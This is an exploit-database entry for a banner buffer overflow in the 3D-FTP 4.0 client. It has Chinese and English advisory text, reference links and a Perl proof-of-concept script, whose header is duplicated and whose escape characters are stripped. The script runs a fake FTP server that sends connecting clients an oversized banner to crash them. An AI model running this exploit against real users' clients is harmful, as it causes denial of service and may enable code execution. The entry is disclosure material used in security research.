https://www.exploit-db.com/exploits/22551
https://cxsecurity.com/issue/WLB-2007100118
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200312-096

3D-FTPclient4.0版本存在缓冲区溢出漏洞。远程FTP服务器借助超长标语导致服务拒绝（崩溃）和可能执行任意代码。

source: http://www.securityfocus.com/bid/7451/info

It has been reported that 3D-FTP client may be prone to a buffer overflow condition. This issue is due to the client not implementing sufficient bounds checking on banner data copied into local memory buffers.

It may be possible for remote attackers to corrupt sensitive regions of memory with attacker-supplied values, possibly resulting in execution of arbitrary code.

#!/usr/bin/perl
########################################################
#
# Banner Buffer Overflow remote exploit in FTP Clients
#
#
#!/usr/bin/perl
########################################################
#
# Banner Buffer Overflow remote exploit in FTP Clients
#
#
#                by Over_G [DWC Gr0up]
#
#         www.dwcgr0up.com      www.overg.com
#########################################################
use IO::Socket;
$port = "21";
$data = "a";
$bsize = $ARGV[0];

print "n  Banner Buffer Overflow remote exploit in FTP Clientsnn";
print "           by Over G[DWC Gr0up]n";
print "     www.dwcgr0up.com www.overg.comnn";

if (defined $bsize) {}
 else {
  print "Incorrect parameters.n";
  die "Usage: perl ftpbanex.pl [buffer_size]n";
}
print "Creating server...n";
$buf .= $data x $bsize;
$server = IO::Socket::INET->new(LocalPort => $port, Type =>
SOCK_STREAM, Reuse => 1, Listen => 2)
or die "Couldn't create server.n";
print "Awayting connections...n";
while ($client = $server->accept())
{
 print "Client connected.n";
 print "Attacking...";
 print $client "$buf";
 print "OKn";
 close($client);
}

来源:XF
名称:3dftp-ftp-banner-bo(11883)
链接:http://xforce.iss.net/xforce/xfdb/11883
来源:BID
名称:7451
链接:http://www.securityfocus.com/bid/7451
来源:BUGTRAQ
名称:20030428Bufferoverflowin3D-ftp
链接:http://www.securityfocus.com/archive/1/319818
来源:SREASON
名称:3297
链接:http://securityreason.com/securityalert/3297